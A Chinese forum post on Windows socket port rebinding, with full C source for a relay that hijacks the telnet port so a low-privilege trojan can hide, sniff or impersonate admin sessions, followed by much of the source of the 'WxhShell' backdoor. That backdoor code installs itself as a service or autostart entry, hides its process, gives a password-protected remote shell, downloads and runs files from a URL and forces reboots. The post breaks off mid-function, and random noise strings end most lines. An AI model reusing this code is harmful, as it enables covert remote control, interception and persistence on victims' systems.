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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: criOJ-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XE6sFU  
j.= VZ  
  saddr.sin_family = AF_INET; \u9l4  
ER;?[!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); fX^ <H_1$G  
:6:;Z qn  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Hyh$-iCa  
O3 x9S,1i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Pp#  
3"!h+dXw  
  这意味着什么?意味着可以进行如下的攻击: }(FF^Mh  
S ( e]@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DI"KH)XD  
 vtk0 j  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /m"O.17N  
=ss(~[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8eGq.+5G  
62)Qr  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J2W#vFe\  
FN0)DN2d}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 waT'|9{  
THEpW{.E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bys5IOP{]o  
KW`^uoY$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9EHhVi  
g3B%}!|  
  #include z0!k  
  #include 4AW-'W  
  #include z_nv|5"  
  #include    76epkiz;=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %k3A`ClW  
  int main() v'=$K[_  
  { $S(<7[Z  
  WORD wVersionRequested; 1u>[0<U~E  
  DWORD ret; ,yf2kU  
  WSADATA wsaData; )09>#!*  
  BOOL val; N5_`  
  SOCKADDR_IN saddr; qca,a3k  
  SOCKADDR_IN scaddr; B6UTooj  
  int err; N(c`h  
  SOCKET s; @@uKOFA?  
  SOCKET sc; -j& A;G  
  int caddsize; ^hZZ5(</8P  
  HANDLE mt; w eX%S&#?  
  DWORD tid;   DL<b)# h#  
  wVersionRequested = MAKEWORD( 2, 2 ); ,! b9  
  err = WSAStartup( wVersionRequested, &wsaData ); [A\DuJx  
  if ( err != 0 ) { &"l Sq2  
  printf("error!WSAStartup failed!\n"); IE]? WW5  
  return -1; 9 696EQ,I  
  } fj"1TtPq#  
  saddr.sin_family = AF_INET; HD%n'@E  
   }IJE%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 C}jFR] x)  
pz4lC=H%o  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :#nfdvqm  
  saddr.sin_port = htons(23); $Iz*W]B!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9 t8NK{  
  { @3*S:;x  
  printf("error!socket failed!\n"); -qyhg-k6  
  return -1; 12]rfd   
  } Dm{9;Abs%  
  val = TRUE; p ; ]Qxh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xB :]{9r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pf% yEz  
  { #|j8vmfn$e  
  printf("error!setsockopt failed!\n"); a=_:`S]}  
  return -1; E|_J  
  } w 3kX!%a:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +khVi}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .D3k(zZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h[ cqa  
z&wJ"[nOC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &TT vX% T  
  { L$t.$[~L  
  ret=GetLastError(); /Z| K9a  
  printf("error!bind failed!\n"); ^vw[z2"  
  return -1; M!R=&a=Z  
  } TTagZI$  
  listen(s,2); P(xgIMc H  
  while(1) EQ [K  
  { YQ|o0>  
  caddsize = sizeof(scaddr); R :*1Y\o(  
  //接受连接请求 g|Tkl  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~e<^jhpJ  
  if(sc!=INVALID_SOCKET) {[ pzqzL6  
  { Bv xLbl}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =JaxT90x  
  if(mt==NULL) kxCN0e#_  
  { :@4+}  
  printf("Thread Creat Failed!\n"); +aQM %~  
  break; ~F " w  
  } {%Rntb  
  } l@:&0id4I  
  CloseHandle(mt); a)S{9q}%  
  } Cy\ o{6  
  closesocket(s); I ]ZksC  
  WSACleanup(); M{t/B-'4  
  return 0; XUVBD;"f!  
  }   v%muno,  
  DWORD WINAPI ClientThread(LPVOID lpParam)  CH$K_\  
  { gq~K(Q<O<  
  SOCKET ss = (SOCKET)lpParam; "_0sW3rG  
  SOCKET sc; NT=)</v  
  unsigned char buf[4096]; )8E[xBaO  
  SOCKADDR_IN saddr; eGW h]%  
  long num;  G){A&F  
  DWORD val; OUhlQq\  
  DWORD ret; .I Io   
  //如果是隐藏端口应用的话,可以在此处加一些判断 e}NB ,o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \E1CQP-  
  saddr.sin_family = AF_INET; =F% <W7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1* ?XI  
  saddr.sin_port = htons(23); ~^/BAc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;TKsAU  
  { GdM|?u&s"  
  printf("error!socket failed!\n"); Mtaky=l8~I  
  return -1; ,&iEn}xG7i  
  } /b]+RXvxj  
  val = 100; e$`;z%6y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }XD=N#p@z  
  { =5O&4G`}  
  ret = GetLastError(); :z`L)  
  return -1; W0S\g#  
  } bg2r  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vt#&YXu{A  
  { m 0]1(\%  
  ret = GetLastError(); Am<){&XT ]  
  return -1; -I:L6ft8  
  } 6?'; ip  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pmiC|F83!8  
  { <u  ImZC  
  printf("error!socket connect failed!\n"); A |P wm`  
  closesocket(sc); z(#CO<C.t  
  closesocket(ss); J;k8 a2$_  
  return -1; E J&w6),d  
  } r*c x_**  
  while(1) =%S*h)}@  
  { Q sPZ dC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -sx=1+\nf  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .7HEI;4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 xUPg~c0  
  num = recv(ss,buf,4096,0); Iv{uk$^7S  
  if(num>0) fskc'%x  
  send(sc,buf,num,0); nj#kzD[n>  
  else if(num==0) )&[ol9+\  
  break; r.' cjUs  
  num = recv(sc,buf,4096,0); /&em%/  
  if(num>0) O{Z bpa^  
  send(ss,buf,num,0); xf;Tk   
  else if(num==0) C;YtMY:  
  break; }}LjEOvL=  
  } CpU y~  
  closesocket(ss); ] V,#>'  
  closesocket(sc); ft$ 'UJ% j  
  return 0 ; l]L"Ex{  
  } h$d`Jmaq  
i'`>YX  
' Uo|@tK  
========================================================== #TIlM]5%  
6n^vG/.M  
下边附上一个代码,,WXhSHELL ^@$T>SB1  
|H%,>r`9S  
========================================================== gb26Y!7%  
'/fueku  
#include "stdafx.h" }0 Fu  
d&X <&)a7  
#include <stdio.h> d z\yP v~  
#include <string.h> 36d6KS 7  
#include <windows.h> yW;]J8 7*  
#include <winsock2.h> ~"cqFdnO  
#include <winsvc.h> ,[u.5vC  
#include <urlmon.h> ~,{nBp9*  
qdZo cTf'  
#pragma comment (lib, "Ws2_32.lib") #&Zj6en}M]  
#pragma comment (lib, "urlmon.lib") Gdr7d  
r#c+{yY  
#define MAX_USER   100 // 最大客户端连接数 `L"l{^cH  
#define BUF_SOCK   200 // sock buffer 85{@&T  
#define KEY_BUFF   255 // 输入 buffer V7?Pv Q  
2SYV2  
#define REBOOT     0   // 重启 nC\LDeKc  
#define SHUTDOWN   1   // 关机 G C@U['  
(X|lK.W y  
#define DEF_PORT   5000 // 监听端口 npcL<$<6X  
`o%Ua0x2  
#define REG_LEN     16   // 注册表键长度 Px`z$~*B:  
#define SVC_LEN     80   // NT服务名长度 %`j2?rn  
N lB%Qu  
// 从dll定义API m</nOf+C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Zv8G[(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9U!#Y%*T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +?Y(6$o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #rx@ 2zi  
0*:4@go0}i  
// wxhshell配置信息 XtIY8wsP  
struct WSCFG { ^oZD44$  
  int ws_port;         // 监听端口 (oB9$Zz!t  
  char ws_passstr[REG_LEN]; // 口令 $B@K  
  int ws_autoins;       // 安装标记, 1=yes 0=no #.<(/D+  
  char ws_regname[REG_LEN]; // 注册表键名 AeEF/*  
  char ws_svcname[REG_LEN]; // 服务名 Es+BV+x[.c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M!iYj+nrP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 88+J(^y>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r%II` i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Cc` )P>L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q46sPMH+_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M9wj };vy  
MU~nvs;:  
}; mTZgvPJ!  
I@YX-@&7  
// default Wxhshell configuration oHx=Cg;  
struct WSCFG wscfg={DEF_PORT, 0^3@>> ^  
    "xuhuanlingzhe", "3VMjF\  
    1, 1{bsh?zd  
    "Wxhshell", d+g+ {p>?  
    "Wxhshell", _"sFLe{  
            "WxhShell Service", pAd SOR2  
    "Wrsky Windows CmdShell Service", 3o^  oq  
    "Please Input Your Password: ", /-1 F9  
  1, a\v@^4   
  "http://www.wrsky.com/wxhshell.exe", ]39A1&af}  
  "Wxhshell.exe" q}%;O >Z  
    }; f"A?\w @  
,7izrf8  
// 消息定义模块 lof}isOz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =#{i;CC%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *M()z.N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b+mh9q'5E  
char *msg_ws_ext="\n\rExit."; AME6Zu3Y  
char *msg_ws_end="\n\rQuit."; Js!V,={iX  
char *msg_ws_boot="\n\rReboot..."; RLX?3u&  
char *msg_ws_poff="\n\rShutdown..."; uM9RlI5  
char *msg_ws_down="\n\rSave to "; u6BLhyS  
{;ur~KE  
char *msg_ws_err="\n\rErr!"; ;PhX[y^*  
char *msg_ws_ok="\n\rOK!"; L51uC ,QF  
}_o!f V  
char ExeFile[MAX_PATH]; `K \(I#z  
int nUser = 0; ,a?$F1Z-  
HANDLE handles[MAX_USER]; |%-:qk4rG  
int OsIsNt; oj~0zJI  
NQhlb"Ix  
SERVICE_STATUS       serviceStatus; w1P8p>vA1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U/bQ(,3}  
_sp/RU,J-3  
// 函数声明 Gv zw=~8  
int Install(void); $NhKqA`0  
int Uninstall(void); pZe:U;bb  
int DownloadFile(char *sURL, SOCKET wsh); LVp*YOq7  
int Boot(int flag); $@:z4S(  
void HideProc(void); 7nL3+Pq  
int GetOsVer(void); X?Mc"M  
int Wxhshell(SOCKET wsl); bol#[_~  
void TalkWithClient(void *cs); C/x<_VJzN/  
int CmdShell(SOCKET sock); x?MSHOia`P  
int StartFromService(void); sz%'=J~!V  
int StartWxhshell(LPSTR lpCmdLine); Mlr}v^"G  
Rw\S-z/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M/mUY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :]oRx  
@q]{s+#Xf  
// 数据结构和表定义 2u|} gZts  
SERVICE_TABLE_ENTRY DispatchTable[] = GwaU7[6  
{ G' 'l,\3  
{wscfg.ws_svcname, NTServiceMain}, h_:|H8t;w  
{NULL, NULL} QBiLH]qa  
}; &r Lg/UEV-  
z`[q$H7?  
// 自我安装 ?Em*yc@WD  
int Install(void) {JlW1;Jc7  
{ -w:F8k ~  
  char svExeFile[MAX_PATH]; *k#M;e  
  HKEY key; =+j>?Yi  
  strcpy(svExeFile,ExeFile); aPMqJ#fIr  
aD:vNX  
// 如果是win9x系统,修改注册表设为自启动 |4s`;4c&  
if(!OsIsNt) { +]%d'h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { px1{=~V/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "' hc)58y  
  RegCloseKey(key); H#B~ h4#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RuHMD"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9(( QSX  
  RegCloseKey(key); x\Det$3Kx  
  return 0; r{gJ[%  
    } uT??t=vb  
  } ?E?dg#yk  
} $G5;y>  
else { s]=s|  
;h"?h*}m!\  
// 如果是NT以上系统,安装为系统服务 1wpeYn7>W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); duKR;5:  
if (schSCManager!=0) jWd 7>1R?  
{ L27i_4E,  
  SC_HANDLE schService = CreateService 007SA6xq  
  ( HV??B :  
  schSCManager, )MKzAAt~  
  wscfg.ws_svcname, ;hOrLy&O  
  wscfg.ws_svcdisp, \=yx~c_$L  
  SERVICE_ALL_ACCESS, N+9`'n^x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1cyX9X  
  SERVICE_AUTO_START, G,8LF/sR  
  SERVICE_ERROR_NORMAL, Jyx6{O j  
  svExeFile, 4#z@B1Jx  
  NULL, ,afh]#  
  NULL, uYPdmrPB?l  
  NULL, 8h#/b1\  
  NULL, ^< ,Np+  
  NULL n(gw%w+\7  
  ); 0vs9# <&V  
  if (schService!=0) Zq--m/  
  { Ny>tJ~I  
  CloseServiceHandle(schService); P!{ O<P  
  CloseServiceHandle(schSCManager); I T)rhi:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -VESe}c:nQ  
  strcat(svExeFile,wscfg.ws_svcname); mk;l;!*T8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s|U?{Byb!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `V@{#+X  
  RegCloseKey(key); '[fo  
  return 0; VR>;{>~  
    } fL8+J]6A6  
  } p*rBT,'  
  CloseServiceHandle(schSCManager); uhFj|r$$  
} AWP CJmr  
} N.|Zh+!  
s fxQ  
return 1; #L{QnV.3  
} OgNt"Vg  
PF-7AIxs"  
// 自我卸载 4425,AR  
int Uninstall(void) *sqq]uD  
{ .Z}ySd:X  
  HKEY key; pC2r{-  
oY:6a  
if(!OsIsNt) { 9&=~_,wJd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `?Yh`P0  
  RegDeleteValue(key,wscfg.ws_regname); ldo7}<s  
  RegCloseKey(key); xS` %3+|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bmEo5f~C!  
  RegDeleteValue(key,wscfg.ws_regname); Y?2I /  
  RegCloseKey(key); Ctxs]S tU%  
  return 0; ;f7(d\=y  
  } #5kQn>R  
} |2\6X's  
} <@}~Fp@  
else { *]fBd<(8  
2;G^>BP<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \+E{8&TH'  
if (schSCManager!=0) bIP{DxKS  
{ \FSkI0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e uS"C*  
  if (schService!=0) I)AV  
  { 0(;d<u)fS  
  if(DeleteService(schService)!=0) { Efb>ZQ  
  CloseServiceHandle(schService); &inu mc  
  CloseServiceHandle(schSCManager); kScq#<Y&  
  return 0; #J]u3*T n|  
  } ]&1Kz 2/  
  CloseServiceHandle(schService); 3~\mP\/4v  
  } \iAkF`OC  
  CloseServiceHandle(schSCManager); rLNo7i  
} @<e+E"6  
} ] 5lp.#EB  
k+2~=#  
return 1; mvI[=e*  
} w4 <FC$  
oBr/CW  
// 从指定url下载文件 C`3}7qi|C  
int DownloadFile(char *sURL, SOCKET wsh) 2/qP:3)  
{ "#2z 'J  
  HRESULT hr; &dZ-}. af  
char seps[]= "/"; a3 <D1"  
char *token; o~,dkV  
char *file; cA1"Nek  
char myURL[MAX_PATH]; yc2c{<Ya5  
char myFILE[MAX_PATH]; <8p53*a  
zCT Wi  
strcpy(myURL,sURL); imAsE;:  
  token=strtok(myURL,seps); ]lzt "[  
  while(token!=NULL) [K;J#0V+&L  
  { <Brq7:n|  
    file=token; @gQ{*dN  
  token=strtok(NULL,seps); aEVBU  
  } JS r& S[  
ywpk\  
GetCurrentDirectory(MAX_PATH,myFILE); BEyg 63=  
strcat(myFILE, "\\"); L5E.`^?  
strcat(myFILE, file); u-3A6Q  
  send(wsh,myFILE,strlen(myFILE),0); }s=D,_}m  
send(wsh,"...",3,0); Jz s.)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  Q0' xn  
  if(hr==S_OK) Mxn>WCPo  
return 0; @.T '>;izr  
else "o/:LCE  
return 1; Zf |%t  
kt.z,<w5O  
} W~+ ] 7<  
XKB)++Q=  
// 系统电源模块 R+FBCVU&TJ  
int Boot(int flag) D(D:/L8T,  
{ ^$SI5WK&)  
  HANDLE hToken; * VH!<k[n  
  TOKEN_PRIVILEGES tkp; f n )m$\2  
.v%H%z~Rl#  
  if(OsIsNt) { sPn[FuT>+s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~h 6aw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,F(nkbt  
    tkp.PrivilegeCount = 1; mL`,v WL/`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |GtTz&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @FKNB.>  
if(flag==REBOOT) { eD/O)X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `me2Q  
  return 0; r k;k:<c  
} ^AK<]r<?L?  
else { H#x=eDU|k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `;4P?!WG  
  return 0; Ro$'|}(+A  
} K O"U5v  
  } =4uL1[0'  
  else { *Hy-D</w%  
if(flag==REBOOT) { tM]~^U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pb1/HhRR^n  
  return 0; TaeN?jc5  
} ,j^ /~  
else { "S.5_@?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) | ?3\xw  
  return 0; RUUV"y  
} ZIQy}b'  
} R9nW5f Nf  
jIwz G+)$P  
return 1; bmVksi2b  
} 0gw0  
nS)U+q-x&o  
// win9x进程隐藏模块 =.O8G=;DOA  
void HideProc(void) yjlX@YXnw  
{ -jdS8n4  
L\}o(P(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .'JO7of  
  if ( hKernel != NULL ) _Q,`Qn@|BD  
  { z^+f3-Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U|. kAI*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ahk6{uz  
    FreeLibrary(hKernel); Nw[TP G5  
  } rk:^^r>5Qi  
^WQ.' G5Q  
return; #qY`xH'>  
} hp+=UnW  
)isz }?Dj  
// 获取操作系统版本 awh<CmcZ  
int GetOsVer(void) 9HrT>{@  
{ ;X,|I)  
  OSVERSIONINFO winfo; , f{<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WzZ<ZCHm  
  GetVersionEx(&winfo); @S\!wjl]C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ya{$:90(4  
  return 1; H)z}6[`  
  else   4Ra  
  return 0; 2%UzCK  
} TeaP\a  
Q.X)QCp#r  
// 客户端句柄模块 b{JcV  
int Wxhshell(SOCKET wsl) "1|n]0BF  
{ 2\80S[f  
  SOCKET wsh; }A,9`  
  struct sockaddr_in client; ekC 1wN l  
  DWORD myID; chk1tFV  
_K["qm{X_  
  while(nUser<MAX_USER) -J*BY2LU3f  
{ 69ZGdN  
  int nSize=sizeof(client); (~ro_WC/I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,Z*&QR  
  if(wsh==INVALID_SOCKET) return 1; UngDXD )  
a)w *  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  @v &hr  
if(handles[nUser]==0) )(yD"]co  
  closesocket(wsh); ci*rem  
else y(/"DUx  
  nUser++; F!.Z@y P  
  } Qc1NLU9:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KSkT6_<  
+*&bgGhT  
  return 0; pFb }5Q  
} j<|I@0  
-P#PyZEH&I  
// 关闭 socket *YH5kX  
void CloseIt(SOCKET wsh) "IQ' (^-P  
{ >dO1)  
closesocket(wsh); |j:"n3~6  
nUser--; }2c)UQD8  
ExitThread(0); WjLy7&  
} $Y'}wB{pc  
F6XrJ?JM  
// 客户端请求句柄 [Z~h!}  
void TalkWithClient(void *cs) Q(v*I&k  
{ W;%$7&+0  
D>tex/Of3  
  SOCKET wsh=(SOCKET)cs; ,5}%_  
  char pwd[SVC_LEN]; @p` *MWU  
  char cmd[KEY_BUFF]; fNR2(8;}  
char chr[1]; } )D E  
int i,j; ZcJa:  
G*;?&;*  
  while (nUser < MAX_USER) {  ;;>hWAS  
rywui10x*  
if(wscfg.ws_passstr) { pUbf]3 t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v'3.`aZ!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N8*6sK.  
  //ZeroMemory(pwd,KEY_BUFF); RE)!b  
      i=0; 9O(vh(C  
  while(i<SVC_LEN) { ) 0NKL:u  
6!F@?3qCyg  
  // 设置超时 (j<FS>##  
  fd_set FdRead; ].ZfTrM]  
  struct timeval TimeOut; >Sc)?[H  
  FD_ZERO(&FdRead); =Q+i(UGHi  
  FD_SET(wsh,&FdRead); Yf1&"WW4  
  TimeOut.tv_sec=8; aE aU_f /  
  TimeOut.tv_usec=0; 'N aNh0y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zD}@QoB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Qc4r?7S<  
lL8pIcQW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  Y7*8 A,  
  pwd=chr[0]; 6g fn5G  
  if(chr[0]==0xd || chr[0]==0xa) { =n@"lY u[  
  pwd=0; .,({&L  
  break; wPr9N}rf  
  } Ygeg[S!7  
  i++; 8M6 Xd]{%  
    } t)qu@m?FZ)  
HpLCOY1-  
  // 如果是非法用户,关闭 socket 9j94]w2v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -9PJ4"H  
} xE>jlr?  
6=pE5UfT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OdKfU^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qStZW^lFeY  
:zA/~/Wo  
while(1) { F#b^l}  
PI G3kJ  
  ZeroMemory(cmd,KEY_BUFF); nm#ISueh  
y  J|/^qs  
      // 自动支持客户端 telnet标准   8NF93tqD6  
  j=0; 7C;oMh5  
  while(j<KEY_BUFF) { @ra^0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZYS`M?Au  
  cmd[j]=chr[0]; 5S9i>B  
  if(chr[0]==0xa || chr[0]==0xd) { kh4., \'  
  cmd[j]=0; e:9s%|]T  
  break; ^uiQZ%;  
  } P^3`znq{  
  j++; H|\@[:A+  
    } F o k%  
1  b&<De  
  // 下载文件 yf4I<v$y  
  if(strstr(cmd,"http://")) { k3PFCl~e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +x!Hc  
  if(DownloadFile(cmd,wsh)) %[cZ,F=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C(%b!Q,2  
  else H^3f!\MC;o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AT6o~u!WU  
  } \k4em{K  
  else { r5,V-5b  
ohJo1}{  
    switch(cmd[0]) { !eu\ShI  
  !{1;wC(b  
  // 帮助 Sj'Iz #  
  case '?': { d6+$[4w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2RbK##`vC  
    break; WrHY'  
  } L*6R5i>  
  // 安装 fzdWM:g  
  case 'i': { eIDrN%3  
    if(Install()) Xi~7pH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H*H~~yQ  
    else MD):g @  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @?2ES@G+Ji  
    break; {{r.?m#{  
    } )Fsc0_  
  // 卸载 Te6cw+6  
  case 'r': { tE8aL{<R  
    if(Uninstall()) ]5O]=^ u0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^? V9  
    else @=ro/.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +$YH dgZ.  
    break; 7gc?7TM  
    } ZX8 AB  
  // 显示 wxhshell 所在路径 9,?7mgZ p  
  case 'p': { un F=";9H  
    char svExeFile[MAX_PATH]; bu8AOtY9E-  
    strcpy(svExeFile,"\n\r"); 5La' I7q  
      strcat(svExeFile,ExeFile); `nCVO;B  
        send(wsh,svExeFile,strlen(svExeFile),0); O#@G .~n?  
    break; :Ahw{z`H#  
    } J))U YJO  
  // 重启 fi~jT"_CI  
  case 'b': { ,W|cyQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $L4h'(s  
    if(Boot(REBOOT)) *Y':raP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gF>t+"+ x  
    else { im3BQIPR  
    closesocket(wsh); 4%$#   
    ExitThread(0); J#DN2y <  
    } )Drif\FF)  
    break; +;ylld  
    } #|"M  
  // 关机 (zX75QSKV  
  case 'd': { (PC)R9r5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N mA6L+  
    if(Boot(SHUTDOWN)) $(]E$ek  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bo-L|R&O  
    else { n_{az{~  
    closesocket(wsh); `aDVN_h{6  
